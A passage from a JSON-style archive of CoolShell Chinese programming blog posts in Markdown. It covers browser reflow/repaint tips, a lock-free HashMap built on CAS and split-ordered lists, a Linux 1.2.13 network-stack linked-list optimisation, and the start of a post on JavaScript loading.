\n\ndocument.body.appendChild(document.createTextNode(‘dude!’));[/javascript]\n\n\n当然，我们的浏览器是聪明的，它不会像上面那样，你每改一次样式，它就reflow或repaint一次。**一般来说，浏览器会把这样的操作积攒一批，然后做一次reflow，这又叫异步reflow或增量异步reflow**。但是有些情况浏览器是不会这么做的，比如：resize窗口，改变了页面默认的字体，等。对于这些操作，浏览器会马上进行reflow。\n\n\n但是有些时候，我们的脚本会阻止浏览器这么干，比如：如果我们请求下面的一些DOM值：\n\n\n1. offsetTop, offsetLeft, offsetWidth, offsetHeight\n2. scrollTop/Left/Width/Height\n3. clientTop/Left/Width/Height\n4. IE中的 getComputedStyle(), 或 currentStyle\n\n\n因为，如果我们的程序需要这些值，那么浏览器需要返回最新的值，而这样一样会flush出去一些样式的改变，从而造成频繁的reflow/repaint。\n\n\n#### 减少reflow/repaint\n\n\n下面是一些Best Practices：\n\n\n**1）不要一条一条地修改DOM的样式。与其这样，还不如预先定义好css的class，然后修改DOM的className。**\n\n\n[javascript]// bad  \n\nvar left = 10,  \n\ntop = 10;  \n\nel.style.left = left + \"px\";  \n\nel.style.top  = top  + \"px\";\n\n\n// Good  \n\nel.className += \" theclassname\";\n\n\n// Good  \n\nel.style.cssText += \"; left: \" + left + \"px; top: \" + top + \"px;\";[/javascript]\n\n\n**2）把DOM离线后修改。如：**\n\n\n* 使用documentFragment 对象在内存里操作DOM\n* 先把DOM给display:none(有一次reflow)，然后你想怎么改就怎么改。比如修改100次，然后再把他显示出来。\n* clone一个DOM结点到内存里，然后想怎么改就怎么改，改完后，和在线的那个的交换一下。\n\n\n3）**不要把DOM结点的属性值放在一个循环里当成循环里的变量。**不然这会导致大量地读写这个结点的属性。\n\n\n4）**尽可能的修改层级比较低的DOM**。当然，改变层级比较底的DOM有可能会造成大面积的reflow，但是也可能影响范围很小。\n\n\n5）**为动画的HTML元件使用fixed或absoult的position**，那么修改他们的CSS是不会reflow的。\n\n\n6）**千万不要使用table布局**。因为可能很小的一个小改动会造成整个table的重新布局。\n\n\n\n> In this manner, the user agent can begin to lay out the table once the entire first row has been received. Cells in subsequent rows do not affect column widths. Any cell that has content that overflows uses the ‘overflow’ property to determine whether to clip the overflow content.\n> \n> \n> [Fixed layout, CSS 2.1 Specification](http://www.w3.org/TR/CSS21/tables.html#fixed-table-layout)\n> \n> \n\n\n\n> This algorithm may be inefficient since it requires the user agent to have access to all the content in the table before determining the final layout and may demand more than one pass.\n> \n> \n> [Automatic layout, CSS 2.1 Specification](http://www.w3.org/TR/CSS21/tables.html#auto-table-layout)\n> \n> \n\n\n#### 几个工具和几篇文章\n\n\n有时候，你会也许会发现在IE下，你不知道你修改了什么东西，结果CPU一下子就上去了到100%，然后过了好几秒钟repaint/reflow才完成，这种事情以IE的年代时经常发生。所以，我们需要一些工具帮我们看看我们的代码里有没有什么不合适的东西。\n\n\n* Chrome下，Google的[SpeedTracer](http://code.google.com/webtoolkit/speedtracer/)是个非常强悍的工作让你看看你的浏览渲染的成本有多大。其实Safari和Chrome都可以使用开发者工具里的一个Timeline的东东。\n\n\n* Firefox下这个基于Firebug的叫[Firebug Paint Events](https://addons.mozilla.org/en-US/firefox/addon/firebug-paint-events/)的插件也不错。\n\n\n* IE下你可以用一个叫[dynaTrace](http://ajax.dynatrace.com/pages/)的IE扩展。\n\n\n最后，别忘了下面这几篇提高浏览器性能的文章：\n\n\n* [Google – Web Performance Best Practices](http://code.google.com/speed/page-speed/docs/rules_intro.html)\n* [Yahoo – Best Practices for Speeding Up Your Web Site](http://developer.yahoo.com/performance/rules.html)\n* [Steve Souders – 14 Rules for Faster-Loading Web Sites](http://stevesouders.com/hpws/rules.php)\n\n\n#### 参考\n\n\n* David Baron的演讲：Fast CSS: How Browsers Lay Out Web Pages：[slideshow](http://dbaron.org/talks/2012-03-11-sxsw/slide-1.xhtml), [all slides](http://dbaron.org/talks/2012-03-11-sxsw/master.xhtml), [audio (MP3)](http://audio.sxsw.com/2012/podcasts/11-ACC-Fast_CSS_How_Browser_Layout.mp3), [Session page](http://schedule.sxsw.com/2012/events/event_IAP12909), [Lanyrd page](http://lanyrd.com/2012/sxsw-interactive/spmbt/)\n\n\n* How Browsers Work: <http://taligarsiel.com/Projects/howbrowserswork1.htm>\n\n\n* Mozilla 的 Style System Overview：<https://developer.mozilla.org/en-US/docs/Style_System_Overview>\n\n\n* Mozilla 的 Note of reflow： <http://www-archive.mozilla.org/newlayout/doc/reflow.html>\n\n\n* Rendering: repaint, reflow/relayout, restyle：<http://www.phpied.com/rendering-repaint-reflowrelayout-restyle/>\n\n\n* Effective Rendering CSS：<http://css-tricks.com/efficiently-rendering-css/>\n\n\n* Webkit Rendering文档：<http://trac.webkit.org/wiki/WebCoreRendering>\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![Javascript 装载和执行](../wp-content/uploads/2013/06/javascript-150x150.jpg)](https://coolshell.cn/articles/9749.html)[Javascript 装载和执行](https://coolshell.cn/articles/9749.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\nThe post [浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-5-30 无锁HashMap的原理与实现.md",
    "content": "---\nlayout: post\ntitle: 无锁HashMap的原理与实现\ndate: 2013/5/30/ 13:31:20\nupdated: 2013/5/30/ 13:31:20\nstatus: publish\npublished: true\ntype: post\n---\n\n**(本文由[onetwogoo](https://github.com/onetwogoo)投稿)**\n\n\n在《[疫苗：Java HashMap的死循环](https://coolshell.cn/articles/9606.html \"疫苗：Java HashMap的死循环\")》中，我们看到，java.util.HashMap并不能直接应用于多线程环境。对于多线程环境中应用HashMap，主要有以下几种选择：\n\n\n1. 使用线程安全的java.util.Hashtable作为替代。\n2. 使用java.util.Collections.synchronizedMap方法，将已有的HashMap对象包装为线程安全的。\n3. 使用java.util.concurrent.ConcurrentHashMap类作为替代，它具有非常好的性能。\n\n\n而以上几种方法在实现的具体细节上，都或多或少地用到了互斥锁。互斥锁会造成线程阻塞，降低运行效率，并有可能产生死锁、优先级翻转等一系列问题。\n\n\nCAS(Compare And Swap)是一种底层硬件提供的功能，它可以将判断并更改一个值的操作原子化。关于CAS的一些应用，《[无锁队列的实现](https://coolshell.cn/articles/8239.html \"无锁队列的实现\")》一文中有很详细的介绍。\n\n\n#### Java中的原子操作\n\n\n在java.util.concurrent.atomic包中，Java为我们提供了很多方便的原子类型，它们底层完全基于CAS操作。\n\n\n例如我们希望实现一个全局公用的计数器，那么可以：\n\n\n \n\n\n\n```\nprivate AtomicInteger counter = new AtomicInteger(3);\n\npublic void addCounter() {\n    for (;;) {\n        int oldValue = counter.get();\n        int newValue = oldValue + 1;\n        if (counter.compareAndSet(oldValue, newValue))\n            return;\n    }\n}\n```\n\n\n其中，compareAndSet方法会检查counter现有的值是否为oldValue，如果是，则将其设置为新值newValue，操作成功并返回true；否则操作失败并返回false。\n\n\n当计算counter新值时，若其他线程将counter的值改变，compareAndSwap就会失败。此时我们只需在外面加一层循环，不断尝试这个过程，那么最终一定会成功将counter值+1。（其实AtomicInteger已经为常用的+1/-1操作定义了incrementAndGet与decrementAndGet方法，以后我们只需简单调用它即可）\n\n\n除了AtomicInteger外，java.util.concurrent.atomic包还提供了AtomicReference和AtomicReferenceArray类型，它们分别代表原子性的引用和原子性的引用数组（引用的数组）。\n\n\n#### 无锁链表的实现\n\n\n在实现无锁HashMap之前，让我们先来看一下比较简单的无锁链表的实现方法。\n\n\n以插入操作为例：\n\n\n1. 首先我们需要找到待插入位置前面的节点A和后面的节点B。\n2. 然后新建一个节点C，并使其next指针指向节点B。（见图1）\n3. 最后使节点A的next指针指向节点C。（见图2）\n\n\n![](../wp-content/uploads/2013/05/图1-3.jpg)\n\n\n但在操作中途，有可能其他线程在A与B直接也插入了一些节点（假设为D），如果我们不做任何判断，可能造成其他线程插入节点的丢失。（见图3）我们可以利用CAS操作，在为节点A的next指针赋值时，判断其是否仍然指向B，如果节点A的next指针发生了变化则重试整个插入操作。大致代码如下：\n\n\n\n```\nprivate void listInsert(Node head, Node c) {\n    for (;;) {\n        Node a = findInsertionPlace(head), b = a.next.get();\n        c.next.set(b);\n        if (a.next.compareAndSwap(b,c))\n            return;\n    }\n}\n```\n\n(Node类的next字段为AtomicReference<Node>类型，即指向Node类型的原子性引用)\n\n\n无锁链表的查找操作与普通链表没有区别。而其删除操作，则需要找到待删除节点前方的节点A和后方的节点B，利用CAS操作验证并更新节点A的next指针，使其指向节点B。\n\n\n#### 无锁HashMap的难点与突破\n\n\nHashMap主要有**插入**、**删除**、**查找**以及**ReHash**四种基本操作。一个典型的HashMap实现，会用到一个数组，数组的每项元素为一个节点的链表。对于此链表，我们可以利用上文提到的操作方法，执行插入、删除以及查找操作，但对于ReHash操作则比较困难。\n\n\n![](../wp-content/uploads/2013/05/图4.jpg)\n\n\n如图4，在ReHash过程中，一个典型的操作是遍历旧表中的每个节点，计算其在新表中的位置，然后将其移动至新表中。期间我们需要操纵3次指针：\n\n\n1. 将A的next指针指向D\n2. 将B的next指针指向C\n3. 将C的next指针指向E\n\n\n而这三次指针操作必须同时完成，才能保证移动操作的原子性。但我们不难看出，CAS操作每次只能保证**一个**变量的值被原子性地验证并更新，无法满足同时验证并更新三个指针的需求。\n\n\n于是我们不妨换一个思路，既然移动节点的操作如此困难，我们可以使所有节点始终保持有序状态，从而避免了移动操作。在典型的HashMap实现中，数组的长度始终保持为2i，而从Hash值映射为数组下标的过程，只是简单地对数组长度执行取模运算（即仅保留Hash二进制的后i位）。当ReHash时，数组长度加倍变为2i+1，旧数组第j项链表中的每个节点，要么移动到新数组中第j项，要么移动到新数组中第j+2i项，而它们的唯一区别在于Hash值第i+1位的不同（第i+1位为0则仍为第j项，否则为第j+2i项）。\n\n\n![](../wp-content/uploads/2013/05/图5-6.jpg)\n\n\n如图5，我们将所有节点按照Hash值的翻转位序（如1101->1011）由小到大排列。当数组大小为8时，2、18在一个组内；3、11、27在另一个组内。每组的开始，插入一个哨兵节点，以方便后续操作。为了使哨兵节点正确排在组的最前方，我们将正常节点Hash的最高位（翻转后变为最低位）置为1，而哨兵节点不设置这一位。\n\n\n当数组扩容至16时（见图6），第二组分裂为一个只含3的组和一个含有11、27的组，但节点之间的相对顺序并未改变。这样在ReHash时，我们就不需要移动节点了。\n\n\n#### 实现细节\n\n\n由于扩容时数组的复制会占用大量的时间，这里我们采用了将整个数组分块，懒惰建立的方法。这样，当访问到某下标时，仅需判断此下标所在块是否已建立完毕（如果没有则建立）。\n\n\n另外定义size为当前已使用的下标范围，其初始值为2，数组扩容时仅需将size加倍即可；定义count代表目前HashMap中包含的总节点个数（不算哨兵节点）。\n\n\n初始时，数组中除第0项外，所有项都为null。第0项指向一个仅有一个哨兵节点的链表，代表整条链的起点。初始时全貌见图7，其中浅绿色代表当前未使用的下标范围，虚线箭头代表逻辑上存在，但实际未建立的块。\n\n\n![](../wp-content/uploads/2013/05/图7.jpg)\n\n\n##### 初始化下标操作\n\n\n数组中为null的项都认为处于未初始化状态，初始化某个下标即代表建立其对应的哨兵节点。初始化是递归进行的，即若其父下标未初始化，则先初始化其父下标。（一个下标的父下标是其移除最高二进制位后得到的下标）大致代码如下：\n\n\n\n```\nprivate void initializeBucket(int bucketIdx) {\n    int parentIdx = bucketIdx ^ Integer.highestOneBit(bucketIdx);\n    if (getBucket(parentIdx) == null)\n        initializeBucket(parentIdx);\n\n    Node dummy = new Node();\n    dummy.hash = Integer.reverse(bucketIdx);\n    dummy.next = new AtomicReference&lt;&gt;();\n\n    setBucket(bucketIdx, listInsert(getBucket(parentIdx), dummy));\n}\n```\n\n其中getBucket即封装过的获取数组某下标内容的方法，setBucket同理。listInsert将从指定位置开始查找适合插入的位置插入给定的节点，若链表中已存在hash相同的节点则返回那个已存在的节点；否则返回新插入的节点。\n\n\n##### 插入操作\n\n\n* 首先用HashMap的size对键的hashCode取模，得到应插入的数组下标。\n* 然后判断该下标处是否为null，如果为null则初始化此下标。\n* 构造一个新的节点，并插入到适当位置，注意节点中的hash值应为原hashCode经过位翻转并将最低位置1之后的值。\n* 将节点个数计数器加1，若加1后节点过多，则仅需将size改为size\\*2，代表对数组扩容（ReHash）。\n\n\n##### 查找操作\n\n\n* 找出待查找节点在数组中的下标。\n* 判断该下标处是否为null，如果为null则返回查找失败。\n* 从相应位置进入链表，顺次寻找，直至找出待查找节点或超出本组节点范围。\n\n\n##### 删除操作\n\n\n* 找出应删除节点在数组中的下标。\n* 判断该下标处是否为null，如果为null则初始化此下标。\n* 找到待删除节点，并从链表中删除。（注意由于哨兵节点的存在，任何正常元素只被其唯一的前驱节点所引用，不存在被前驱节点与数组中指针同时引用的情况，从而不会出现需要同时修改多个指针的情况）\n* 将节点个数计数器减1。\n\n\n#### 参考文献\n\n\n[《Split-Ordered Lists: Lock-Free Extensible Hash Tables》](http://www.cs.ucf.edu/~dcm/Teaching/COT4810-Spring2011/Literature/SplitOrderedLists.pdf \"《Split-Ordered Lists: Lock-Free Extensible Hash Tables》\")\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![疫苗：Java HashMap的死循环](../wp-content/uploads/2013/05/race_condition-150x150.jpg)](https://coolshell.cn/articles/9606.html)[疫苗：Java HashMap的死循环](https://coolshell.cn/articles/9606.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![并发框架Disruptor译文](../wp-content/uploads/2013/02/Disruptor-150x150.png)](https://coolshell.cn/articles/9169.html)[并发框架Disruptor译文](https://coolshell.cn/articles/9169.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/6424.html)[Hash Collision DoS 问题](https://coolshell.cn/articles/6424.html)\n* [![ETCD的内存问题](../wp-content/uploads/2022/05/etcd-150x150.png)](https://coolshell.cn/articles/22242.html)[ETCD的内存问题](https://coolshell.cn/articles/22242.html)\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\nThe post [无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-6-30 Alan Cox：单向链表中prev指针的妙用.md",
    "content": "---\nlayout: post\ntitle: Alan Cox：单向链表中prev指针的妙用\ndate: 2013/6/30/ 4:27:4\nupdated: 2013/6/30/ 4:27:4\nstatus: publish\npublished: true\ntype: post\n---\n\n![Alan Cox](../wp-content/uploads/2013/06/Alan-Cox-200x300.jpg \"Alan Cox\")Alan Cox\n\n\n **（感谢网友** [**@我的上铺叫路遥**](http://weibo.com/fullofbull)**投稿）**\n\n\n之前发过一篇[二级指针操作单向链表](https://coolshell.cn/articles/8990.html)的例子，显示了C语言指针的灵活性，这次再探讨一个指针操作链表的例子，而且是一种完全不同的用法。\n\n\n这个例子是linux-1.2.13网络协议栈里的，关于链表遍历&数据拷贝的一处实现。源文件是/net/inet/dev.c，你可以从[kernel.org](https://www.kernel.org/pub/linux/kernel/v1.2/)官网上下载。\n\n\n从最早的0.96c版本开始，linux网络部分一直采取TCP/IP协议族实现，这是最为广泛应用的网络协议，整个架构就是经典的OSI七层模型的描述，其中dev.c是属于链路层实现。从功能上看，其位于网络设备驱动程序和网络层协议实现模块之间，作为二者之间的数据包传输通道，一种接口模块而存在——对驱动层的接口函数netif\\_rx, 以及对网络层的接口函数net\\_bh。前者提供给驱动模块的中断例程调用，用于链路数据帧的封装；后者作为驱动中断例程**底半部(buttom half)**，用于对数据帧的解析处理并向上层传送。\n\n\n为了便于理解，这里补充一下网络通信原理和linux驱动中断机制的背景知识。从最底层的物理层说起，当主机和路由器相互之间进行通信的时候，在物理介质上（同轴、光纤等）以电平信号进行传输。主机或路由器的**硬件接口（网卡）**负责收发这些信号，当信号发送到接口，再由内置的**调制解调器(modem)**将数字信号转换成二进制码，这样才能驻留在主机的硬件缓存中。这时接口（网卡）设备驱动程序将通过**硬中断**来获取硬件缓存中的数据，驱动程序是操作系统中负责直接同硬件设备打交道的模块，硬中断的触发是初始化时通过设置控制寄存器实现的，用于通知驱动程序硬件缓存中有新的数据到来。linux卡设备驱动就是在**中断处理例程(ISR)**中将硬件缓存数据拷贝到内核缓存中，打包成数据链路帧进行解析处理，再向上分发到各种协议层。由于ISR上下文是原子性的、中断屏蔽的，整个步骤又较为繁琐，因此全部放在ISR中处理会影响到其它中断响应实时性，于是linux有实现一种bottom half的**软中断**处理机制，将整个ISR一分为二，前半部上下文屏蔽所有中断，专门处理紧急的、实时性强的事务，如拷贝硬件缓存并打包封装，后半部上下文没有屏蔽中断（但代码不可重入），用于处理比较耗时且非紧急事务，包括数据帧的解析处理和分发。下面要讲的net\\_bh就属于后半部。\n\n\n我们主要关心的是将链路帧分发到协议层那一段逻辑，下面摘自net\\_bh函数中的一段代码：\n\n\n\n\n```\n526 void net_bh(void *tmp)\n527 {\n       ...\n577\n578    /*\n579    * We got a packet ID.  Now loop over the \"known protocols\"\n580    * table (which is actually a linked list, but this will\n581    * change soon if I get my way- FvK), and forward the packet\n582    * to anyone who wants it.\n583    *\n584    * [FvK didn't get his way but he is right this ought to be\n585    * hashed so we typically get a single hit. The speed cost\n586    * here is minimal but no doubt adds up at the 4,000+ pkts/second\n587    * rate we can hit flat out]\n588    */\n589   pt_prev = NULL;\n590   for (ptype = ptype_base; ptype != NULL; ptype = ptype->next)\n591   {\n592    if ((ptype->type == type || ptype->type == htons(ETH_P_ALL)) && (!ptype->dev || ptype->dev==skb->dev))\n593    {\n594      /*\n595      * We already have a match queued. Deliver\n596      * to it and then remember the new match\n597      */\n598      if(pt_prev)\n599      {\n600        struct sk_buff *skb2;\n601        skb2=skb_clone(skb, GFP_ATOMIC);\n602        /*\n603        * Kick the protocol handler. This should be fast\n604        * and efficient code.\n605        */\n606        if(skb2)\n607          pt_prev->func(skb2, skb->dev, pt_prev);\n608      }\n609      /* Remember the current last to do */\n610      pt_prev=ptype;\n611    }\n612   } /* End of protocol list loop */\n613   /*\n614   * Is there a last item to send to ?\n615   */\n616   if(pt_prev)\n617     pt_prev->func(skb, skb->dev, pt_prev);\n618   /*\n619    *  Has an unknown packet has been received ?\n620    */\n621   else\n622     kfree_skb(skb, FREE_WRITE);\n623\n      ...\n640 }\n```\n\n在此稍稍解说一下数据结构，skb就是内核缓存中sock数据封装，协议栈里从链路层到传输层都会用到，只不过封装格式不同，主要是对**协议首部(header)**的由下而上层层剥离（反之由上而下是层层创建），在此你只需理解为一个链路数据帧即可。这段代码的逻辑是解析skb中的协议字段，从协议类型链表（由ptype\\_base维护）中查询对应的协议节点进行函数指针func回调，以便将数据帧分发到相应的协议层（如ARP、IP、8022、8023等）。\n\n\n第一眼看上去是不是有点奇怪？这段代码竟然用一个pt\\_prev指针去维护ptype链表中前一个节点，从而产生了额外的条件分支判断，咋一看是否多了很多“余”了？回顾一下那篇[二级指针操作单向链表](https://coolshell.cn/articles/8990.html)的博文，简直完全是反其道而行之的。如果把pt\\_prev去掉，代码可以精简为：\n\n\n\n```\n  for (ptype = ptype_base; ptype != NULL; ptype = ptype->next)\n  {\n    if ((ptype->type == type || ptype->type == htons(ETH_P_ALL)) && (!ptype->dev || ptype->dev==skb->dev))\n    {\n        /*\n        * We already have a match queued. Deliver\n        * to it and then remember the new match\n        */\n        struct sk_buff *skb2;\n        skb2=skb_clone(skb, GFP_ATOMIC);\n        /*\n        * Kick the protocol handler. This should be fast\n        * and efficient code.\n        */\n        if(skb2)\n            pt_prev->func(skb2, skb->dev, pt_prev);\n    }\n} /* End of protocol list loop */\n\nkfree_skb(skb, FREE_WRITE);\n```\n\n咋看一下“干净”了很多，不是吗？但我们要记住一点，凡是网上发布的linux内核源代码，都是都是经过众多黑客高手们重重检视并验证过的，人家这么写肯定有十分充足的理由，所以不要太过于相信自己的直觉了，让我们再好好review一下代码吧！看看这段循环里做了什么事情？特别是第592~611行。\n\n\n由于从网络上拷贝过来skb是唯一的，而分发的协议对象可能是多个，所以在回调之前要做一次clone动作（注意这里是深度拷贝，相当于一次kmalloc）。分发之后还需要调用kfree\\_skb释放掉原始skb数据块，它的历史使命到此完成了，没有保留的必要（第622行）。**注意，这两个动作都是存在内核开销的。**\n\n\n然而这里为啥要pt\\_prev维护一个后向节点呢？这是有深意的，它的作用就是将当前匹配协议项的回调操作延时了。举个例子，如果链表遍历中找到某个匹配项，当前循环仅仅用pt\\_prev去记录这个匹配项，除此之外不做任何事情，待到下一次匹配项找到时，才去做上一个匹配项pt\\_prev的回调操作，直到循环结束，才会去做最后的匹配项的回调（当然pt\\_prev==NULL表示没有一次匹配，直接释放掉），所以这是一种**拖延战术**。有什么好处呢？就是比原先节省了很多不必要的操作。那么哪些操作是不必要的呢？这里我们逆向思考一下，我们看到clone是在协议字段匹配并且pt\\_prev!=NULL的前提条件下执行的，而kfree是在pt\\_prev==NULL的前提条件下执行的。在此可以假设一下，如果ptype链表中存在N项协议与之匹配，那么这段代码只会执行N-1次clone，而没有pt\\_prev时将会执行N次clone和1次kfree，再如果ptype链表中有且仅有一项协议与之匹配，那么整个循环既不会执行到第601行的clone，也不会执行到第622行的kfree。\n\n\n也就是说，**当整个链表至少有一项匹配的一般情况下，pt\\_prev存在比没有时减少了一次clone和一次kfree的开销；只有全部不匹配的最差情况下，两者都只做一次kfree动作，持平。这就是延迟策略产生的效益**。\n\n\n熟悉TCP/IP协议族的开发人员应该知道**MTU（最大传输单元）**这个概念，遵循不同协议的MTU值是不同的。比如以太网帧MTU是1500个字节，802.3帧MTU是1492字节，PPP链路帧MTU是269字节，而超通道MTU理论上是65535字节。要知道在一个高速吞吐量通信网络环境下，在大块数据分片传输线路里，在内核级别代码中，减少一处系统开销意味着什么？\n\n\n其实我们完全可以抛开一切网络协议相关知识，这不过是一段极其普通的单向链表操作而已，逻辑并不复杂。但是看看人家顶级黑客是怎么思考和coding的，对比一下自己写过的代码，多少次数据处理是用一个简单的for循环匆匆敷衍了事而没有进一步思考其中的粗陋和不合理之处？面对真正的编程高手这种“心计”与“城府”，你是不是有种莫名不安感？你会怀疑你真的了解怎么去使用和操作C语言中基本的链表数据结构么？如果答案是肯定的，那就开始颤抖吧（哈，别误会，其实上面这段话不过是笔者的自我告解罢了）~~~\n\n\n最后，让我们感谢尊敬的[Alan Cox](http://en.wikipedia.org/wiki/Alan_Cox)大大对Linux社区卓越精细、无与伦比的贡献！（Alan是图中中部戴红帽子的那位）\n\n\nhttp://old.lwn.net/images/ks/group2.jpg\n\n\n**附注：**\n\n\n最新的Linux-2.6.x版本中协议栈实现部分变动很大，但/net/core/dev.c的netif\\_receive\\_skb函数里仍然保留了pt\\_prev这种用法，目的是一样的，都是为了减少一次系统开销的优化操作。\n\n\n关于Alan，他在斯旺西大学工作时，在学校服务器上安装了一个早期的linux版本，供学校使用。他修正了许多的问题，重写了网络系统中的许多部份。随后成为linux内核开发小组中的重要成员。[Alan Cox](http://en.wikipedia.org/wiki/Alan_Cox)负责维持2.2版，在2.4版上拥有自己的分支（在版本号上会冠上ac，如 2.4.13-ac1）。他的分支版本非常稳定，修正许多错误，许多厂商都使用他的版本。在他去进修工商管理硕士之前，涉入许多linux内核开发的事务，在社群中有很高的地位，有时会被视为是Linus之下的第二号领导者。\n\n\n不过，今年1月28日的时候，Alan因为家庭原因宣布退出Linux项目了，下面是他Google+的声明：\n\n\n\n> “I’m leaving the Linux world and Intel for a bit for family reasons, I’m aware that ‘family reasons’ is usually management speak for ‘I think the boss is an asshole’ but I’d like to assure everyone that while I frequently think Linus is an asshole (and therefore very good as kernel dictator) I am departing quite genuinely for family reasons and not because I’ve fallen out with Linus or Intel or anyone else. Far from it I’ve had great fun working there.”\n> \n> \n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/9917.html)[Alan Cox：大教堂、市集与市议会](https://coolshell.cn/articles/9917.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\nThe post [Alan Cox：单向链表中prev指针的妙用](https://coolshell.cn/articles/9859.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-6-5 Javascript 装载和执行.md",
    "content": "---\nlayout: post\ntitle: Javascript 装载和执行\ndate: 2013/6/5/ 0:31:6\nupdated: 2013/6/5/ 0:31:6\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2013/06/javascript.jpg)一两个月前在淘宝内网里看到一个优化Javascript代码的竞赛，发现有不少的人对Javascript的执行和装载的基础并不懂，所以，从那天起我就想写一篇文章，但一直耽搁了。自上篇《[浏览器渲染原理简介](https://coolshell.cn/articles/9666.html \"浏览器的渲染原理简介\")》，正好也可以承前启后。\n\n\n首先，我想说一下Javascript的装载和执行。通常来说，浏览器对于Javascript的运行有两大特性：**1）载入后马上执行，2）执行时会阻塞页面后续的内容（包括页面的渲染、其它资源的下载）**。于是，如果有多个js文件被引入，那么对于浏览器来说，这些js文件被被串行地载入，并依次执行。\n\n\n因为javascript可能会来操作HTML文档的DOM树，所以，浏览器一般都不会像并行下载css文件并行下载js文件，因为这是js文件的特殊性造成的。所以，如果你的javascript想操作后面的DOM元素，基本上来说，浏览器都会报错说对象找不到。因为Javascript执行时，后面的HTML被阻塞住了，DOM树时还没有后面的DOM结点。所以程序也就报错了。\n\n\n#### 传统的方式\n\n\n所以，当你写在代码中写下如下的代码：\n\n\n\n```\n<script type=\"text/javascript\"\n        src=\"https://coolshell.cn/asyncjs/alert.js\"></script>\n```\n\n\n基本上来说，head里的 <script>标签会阻塞后续资源的载入以及整个页面的生成。我专门做了一个示例你可以看看：**[示例一](https://coolshell.cn/asyncjs/async_test01.html)**。 注意：我的alert.js中只有一句话：alert(“hello world”) ，这更容易让你看到javascript是怎么阻塞后面的东西的。\n\n\n所以，你知道为什么有很多网站把javascript放在网页的最后面了，要么就是动用了window.onload或是docmuemt ready之类的事件。\n\n\n另外，因为绝大多数的Javascript代码并不需要等页面，所以，我们异步载入的功能。那么我们怎么异步载入呢？\n\n\n#### document.write方式\n\n\n于是，你可能以为document.write()这种方式能够解决不阻塞的方式。你当然会觉得，document.write了的<script>标签后就可以执行后面的东西去了，这没错。对于在同一个script标签里的Javascript的代码来说，是这样的，但是对于整个页面来说，这个还是会阻塞。 下面是一段测试代码：\n\n\n\n```\n<script type=\"text/javascript\" language=\"javascript\">\n    function loadjs(script_filename) {\n        document.write('<' + 'script language=\"javascript\" type=\"text/javascript\"');\n        document.write(' src=\"' + script_filename + '\">');\n        document.write('<'+'/script'+'>');\n        alert(\"loadjs() exit...\");\n    }\n\n    var script = 'https://coolshell.cn/asyncjs/alert.js';\n\n    loadjs(script);\n    alert(\"loadjs() finished!\");\n</script>\n\n<script type=\"text/javascript\" language=\"javascript\">\n   alert(\"another block\");\n</script>\n```\n\n你觉得alert的顺序是什么？你可以在不同的浏览器里试一试。这里的想关的测试页面：**[示例二](https://coolshell.cn/asyncjs/async_test02.html)**。\n\n\n#### 